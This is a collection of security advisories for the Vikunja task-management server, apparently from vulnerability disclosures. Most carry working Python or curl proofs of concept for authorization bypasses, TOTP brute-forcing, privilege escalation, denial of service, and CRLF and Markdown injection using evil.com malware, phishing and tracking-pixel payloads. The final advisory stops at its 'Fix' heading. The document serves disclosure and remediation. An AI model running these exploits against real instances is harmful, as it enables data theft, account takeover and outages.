Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share's secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share's permission level to escalate privileges and perform unauthorized writes or administrative actions.
Vikunja before 2.6.0 fails to validate that user-supplied projectviewid in task-position requests belongs to the task's project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints.
Vikunja before 2.6.0 contains an API token scope bypass vulnerability in task read endpoints where authorization fails to inspect query string parameters. Attackers with limited token scopes can use the expand parameter to access restricted data like comments, reactions, and time entries without proper permission verification.
Vikunja versions before 2.6.0 fail to properly validate link-share tokens in the v2 API user search endpoints. Attackers with a read-only share link can enumerate project users via the projects endpoint and confirm arbitrary usernames exist via the global search endpoint.
Vikunja before 2.6.0 contains an authentication bypass vulnerability in CalDAV BasicAuth endpoints that lack rate limiting protection. Remote unauthenticated attackers can issue unbounded credential-guessing requests against /dav, /.well-known, and /feeds routes to bypass the instance's anti-brute-force controls and compromise password-only accounts.
Vikunja versions before 2.6.0 fail to apply rate limiting to /api/v2 public authentication endpoints including login, register, password-reset, and OAuth token routes. Remote unauthenticated attackers can perform unbounded credential guessing, account enumeration, and password-reset flooding attacks without throttling restrictions.
Vikunja before 2.6.0 fails to apply pixel decode limits to avatar and project-background upload endpoints, allowing authenticated users to upload crafted images that decode to excessive pixel counts. Attackers can upload small images with extreme aspect ratios that consume significant CPU and memory during processing, causing denial of service through repeated or concurrent uploads.
Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.
vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.
Vikunja through 2.4.0 contains a principal-type confusion vulnerability where LinkSharing principals with id N are treated as user principals with users.id == N at three permission checks lacking type guards. Attackers with a link-share JWT can remove victims from teams, enumerate and delete victim bot users, or read team rosters by exploiting id collisions in the autoincrement space.
Vikunja versions >= 0.24.0 and <= 2.3.0 contain a broken object level authorization (BOLA) vulnerability in the task-collection endpoint (GET /api/v1/projects/{project}/views/{view}/tasks). The endpoint loads the requested project view from the URL path without verifying the caller is authorized for it. For a link-share token holder, the task scope is pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated. As a result, a holder of any project share link can read any other tenant's kanban bucket records — bucket titles and the full createdby user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also creates a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users. Task contents remain constrained to the share's own project and are not disclosed. Fixed in 2.4.0.
Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.
Summary
Vikunja's scoped API token enforcement for custom project background routes is method-confused. A token with only projects.background can successfully delete a project background, while a token with only projects.backgrounddelete is rejected.
This is a scoped-token authorization bypass.
Details
I verified this locally on commit c5450fb55f5192508638cbb3a6956438452a712e.
Relevant code paths: pkg/models/apiroutes.go pkg/routes/routes.go pkg/modules/background/handler/background.go
Route registration exposes separate permissions for the same path: GET /api/v1/projects/:project/background -> projects.background DELETE /api/v1/projects/:project/background -> projects.backgrounddelete
At enforcement time, CanDoAPIRoute() falls back to the parent group and reconstructs the child permission from the path segments only. For the DELETE request, that becomes background, so the matcher accepts any token containing projects.background without re-checking the HTTP method or matching the stored route detail.
This matters because RemoveProjectBackground() is a real destructive operation: It checks project update rights. It deletes the background file if present. It clears the project's BackgroundFileID.
PoC
1. Log in as a user who can update a project that already has a background. 2. Create an API token with only: {"projects":["background"]} 3. Send: DELETE /api/v1/projects/<projectid>/background Authorization: Bearer <token> 4. Observe that the request succeeds and the project background is removed.
For comparison: 1. Create an API token with only: {"projects":["backgrounddelete"]} 2. Repeat the same DELETE request. 3. Observe that the request is rejected with 401 Unauthorized.
I confirmed this locally with three validations: 1. /api/v1/routes advertises both background and backgrounddelete. 2. The matcher unit test proves CanDoAPIRoute() accepts DELETE for background. 3. The webtest proves a real API token with only background successfully deletes the background.
Impact
Scoped API tokens can exceed their intended capability. A token intended for project background access can delete project backgrounds, which weakens the trust model for automation and third-party integrations that rely on narrowly scoped tokens.
The attacker needs a valid API token created by a user who has update rights on the target project, but the token itself only needs the weaker projects.background permission.
Summary
The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.
Details
During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/createfromstructure.go:406 passes the attacker-controlled File.Size from the JSON:
go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)
The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:
go if realsize > config.GetMaxFileSizeInMBytes()uint64(datasize.MB) && checkFileSizeLimit {
With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.
Proof of Concept
Tested on Vikunja v2.2.2 with default maxfilesize: 20MB.
python import zipfile, io, json, requests
TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"}
Craft zip with forged Size=0 in JSON but 25MB actual content largecontent = b"A" (25 1024 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}]
zipbuf = io.BytesIO() with zipfile.ZipFile(zipbuf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", largecontent)
resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zipbuf.getvalue(), "application/zip")})
Output: HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit.
Impact
An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.
Recommended Fix
Use the actual content length instead of the attacker-controlled Size field:
go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)
--- Found and reported by aisafe.io
Summary
The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.
Details
The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:
go SUMMARY: + t.Summary + getCaldavColor(t.Color)
RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.
Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.
Proof of Concept
Tested on Vikunja v2.2.2.
python import requests from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()
create task with CRLF injection in title task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned" }).json()
set UID (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};" TASKUID = "inject-test-001"
fetch via CalDAV caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"] r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("alice", caldavtoken)) print(r.text)
Output: BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:inject-test-001 DTSTAMP:20260327T130452Z SUMMARY:Meeting ATTACH:https://evil.com/malware.exe X-INJECTED:pwned CREATED:20260327T130452Z LAST-MODIFIED:20260327T130452Z END:VTODO END:VCALENDAR
The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.
Impact
An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables: - Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display - Creating fake alarm notifications (VALARM) for social engineering - Spoofing organizer identity (ORGANIZER)
Recommended Fix
Apply RFC 5545 TEXT value escaping to all user-controlled fields:
go func escapeICal(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, ";", "\\;") s = strings.ReplaceAll(s, ",", "\\,") s = strings.ReplaceAll(s, "\n", "\\n") s = strings.ReplaceAll(s, "\r", "") return s }
Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.
--- Found and reported by aisafe.io
Summary
Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Details
The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:
go overdueLine += + task.Title + + "tasks/" + strconv.FormatInt(task.ID, 10) + ) ...
The task title is placed inside Markdown link syntax TITLE. A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mailrender.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.
The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.
Proof of Concept
Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).
python import requests
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
create task with markdown injection in title + past due date requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": 'test](https://evil.com) [Click to verify your account', "duedate": "2026-03-26T00:00:00Z"})
create task with tracking pixel injection requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": '!', "duedate": "2026-03-26T00:00:00Z"})
enable overdue reminders for the user requests.post(f"{API}/user/settings/general", headers=h, json={ "emailremindersenabled": True, "overduetasksremindersenabled": True, "overduetasksreminderstime": "09:00"})
wait for the overdue notification cron to fire, then inspect the email
The overdue notification email HTML contains: html <li> <a href="https://evil.com">test</a> <a href="http://vikunja.example/tasks/5">Click to verify your account</a> (Shared), since one day </li> <li> <a href="http://vikunja.example/tasks/6"> <img src="https://evil.com/track.png?user=bob"> </a> (Shared), since one day </li>
The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.
Impact
An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.
Recommended Fix
Escape Markdown special characters in task titles before embedding them in Markdown content:
go func escapeMarkdown(s string) string { replacer := strings.NewReplacer( "[", "\\[", "]", "\\]", "(", "\\(", ")", "\\)", "!", "\\!", "", "\\", "", "\\", "", "\\", "#", "\\#", ) return replacer.Replace(s) }
--- Found and reported by aisafe.io
Summary
The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.
Details
The vulnerable function at pkg/models/tasks.go:1456-1464:
go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { for { t = t.Add(duration) if t.After(now) { break } } return t }
The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeatafter=1 and duedate=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).
Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.
Proof of Concept
Tested on Vikunja v2.2.2.
python import requests, time
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()
create task with repeatafter=1 second and a date far in the past task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={"title": "DoS", "repeatafter": 1, "duedate": "1900-01-01T00:00:00Z"}).json()
mark done - triggers the vulnerable loop start = time.time() try: r = requests.post(f"{API}/tasks/{task['id']}", headers=h, json={"title": "DoS", "done": True}, timeout=120) print(f"Response: {r.statuscode} in {time.time()-start:.1f}s") except requests.exceptions.Timeout: print(f"TIMEOUT after {time.time()-start:.1f}s")
Output: TIMEOUT after 60.0s
The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, duedate=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.
Impact
Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.
Recommended Fix
Replace the O(n) loop with O(1) arithmetic:
go func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time { if duration <= 0 { return t } diff := now.Sub(t) if diff <= 0 { return t.Add(duration) } intervals := int64(diff/duration) + 1 return t.Add(time.Duration(intervals) duration) }
--- Found and reported by aisafe.io
Summary
The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.
Details
GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:
go func GetTasksByUIDs(s xorm.Session, uids []string, a web.Auth) (tasks []Task, err error) { tasks = []Task{} err = s.In("uid", uids).Find(&tasks) // ... }
The web.Auth parameter is accepted but never used for permission filtering. This function is called by: - GetResource at pkg/routes/caldav/listStorageProvider.go:266 (CalDAV GET) - GetResourcesByList at pkg/routes/caldav/listStorageProvider.go:199 (CalDAV REPORT multiget)
All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.
The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attackerproject}/{victimtaskuid}.ics returns the victim's task regardless of which project ID is in the path.
Proof of Concept
Tested on Vikunja v2.2.2.
python import requests from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
alicetoken = login("alice", "Alice1234!") bobtoken = login("bob", "Bob12345!")
alice creates private project and task proj = requests.put(f"{API}/projects", headers=h(alicetoken), json={"title": "Private"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alicetoken), json={"title": "Secret CEO salary 500k"}).json()
task UID must be set (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};" TASKUID = "test-uid-001"
bob tries REST API r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bobtoken)) print(f"REST API: {r.statuscode}") # 403
bob gets CalDAV token caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h(bobtoken)).json()["token"]
bob reads alice's task via CalDAV (project ID in URL doesn't matter) r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("bob", caldavtoken)) print(f"CalDAV: {r.statuscode}") # 200 print(r.text) # contains SUMMARY:Secret CEO salary 500k
Output: REST API: 403 CalDAV: 200 BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:test-uid-001 SUMMARY:Secret CEO salary 500k DUE:20260401T000000Z END:VTODO END:VCALENDAR
The REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.
Impact
An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.
Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.
Recommended Fix
Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:
go tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user) // ... for , t := range tasks { project := &models.Project{ID: t.ProjectID} can, , err := project.CanRead(s, vcls.user) if err != nil || !can { return nil, false, errs.ForbiddenError } }
--- Found and reported by aisafe.io
Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } = s.Rollback() return err }
HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
python import requests, time, pyotp
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()})
send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")
wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")
wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": totp.now()}) print(f"Valid TOTP login: {r.statuscode}") # 200 - account was never locked
Output: Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200
The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { = lockoutSession.Rollback() return } = lockoutSession.Commit()
--- Found and reported by aisafe.io
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/labelpermissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where("labeltasks.labelid is not null OR labels.createdbyid = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while labeltasks.labelid IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
python import requests
TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"
def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
atoken = login("labeler", "Labeler123!") btoken = login("snooper", "Snooper123!")
labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(atoken), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(atoken), json={"title": "CONFIDENTIAL-REVENUE", "hexcolor": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(atoken), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(atoken), json={"labelid": label["id"]})
snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(btoken)) print(f"GET /labels/{label['id']}: {r.statuscode}") # 200 - should be 403 if r.statuscode == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['createdby']['username']}") # labeler
Output: GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
go has, err = s.Table("labels"). Select("labeltasks."). Join("LEFT", "labeltasks", "labeltasks.labelid = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("labeltasks.labelid is not null"), cond), builder.Eq{"labels.createdbyid": createdByID}, ), )). Exist(ll)
--- Found and reported by aisafe.io
Summary
A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.
Details
The CanUpdate check at pkg/models/projectpermissions.go:139-148 only requires CanWrite on the new parent project when changing parentprojectid. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }
Proof of Concept
Tested on Vikunja v2.2.2.
1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parentprojectid":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.
python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!") victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()
victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victimtoken), json={"username": "attacker", "permission": 1})
attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attackertoken), json={"title": "Attacker Root"}).json()
before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403
exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200
after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin
victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone
Output: DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404
The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.
Impact
Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.
Recommended Fix
Require Admin permission instead of Write when changing parentprojectid:
go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }
--- Found and reported by aisafe.io
Title Link Share JWT tokens remain valid for 72 hours after share deletion or permission downgrade
Description
Vikunja's link share authentication constructs authorization objects entirely from JWT claims without any server-side database validation. When a project owner deletes a link share or downgrades its permissions, all previously issued JWTs continue to grant the original permission level for up to 72 hours (the default service.jwtttl).
GetLinkShareFromClaims at pkg/models/linksharing.go lines 88-119 performs zero database queries — it builds the LinkSharing struct purely from JWT claim values (id, hash, projectid, permission, sharedByID). This struct is passed directly to permission checks:
| Function | File | Lines | DB queries | |----------|------|-------|------------| | GetLinkShareFromClaims | linksharing.go | 88-119 | 0 | | Project.CanRead (link share) | projectpermissions.go | 105-108 | 0 | | Project.CanWrite (link share) | projectpermissions.go | 50-53 | 0 | | Project.IsAdmin (link share) | projectpermissions.go | 192-194 | 0 |
Contrast with user tokens: User JWTs use a 10-minute TTL (ServiceJWTTTLShort) with sid claim and server-side sessions enabling revocation. Link share JWTs use a 72-hour TTL (ServiceJWTTTL) with no sid, no server-side session, and no refresh mechanism.
Permalink: - GetLinkShareFromClaims: pkg/models/linksharing.go:88-119 - NewLinkShareJWTAuthtoken: pkg/modules/auth/auth.go:141-160 - Permission checks: pkg/models/projectpermissions.go:50-53, 105-108, 192-194 - TTL defaults: pkg/config/config.go:337-339
PoC
bash 1. Create an Admin-level link share on project 42 curl -X PUT "https://vikunja.example.com/api/v1/projects/42/shares" \ -H "Authorization: Bearer <owner-jwt>" \ -H "Content-Type: application/json" \ -d '{"permission": 2}' Response: {"id": 5, "hash": "abc123", ...}
2. Obtain link share JWT (72h TTL, no sid claim) curl -X POST "https://vikunja.example.com/api/v1/shares/abc123/auth" Response: {"token": "<link-share-jwt>"}
3. Delete the link share curl -X DELETE "https://vikunja.example.com/api/v1/projects/42/shares/5" \ -H "Authorization: Bearer <owner-jwt>" 200 OK — share row removed from database
4. Use the deleted share's JWT — STILL WORKS for up to 72 hours curl -X GET "https://vikunja.example.com/api/v1/projects/42/tasks" \ -H "Authorization: Bearer <link-share-jwt>" 200 OK — full task list returned with Admin permissions
5. Permission downgrade variant: Delete Admin share → create Read-only share → old JWT still has Admin access
Impact
- Revoked link shares remain functional for up to 72 hours (default TTL) - Project owners cannot respond to security events (leaked URLs, access revocation) in real time - Permission downgrades have no effect on outstanding tokens - Scope: single project per token, severity scales with permission level (Admin > Write > Read)
Fix
Add database validation in GetLinkShareFromClaims:
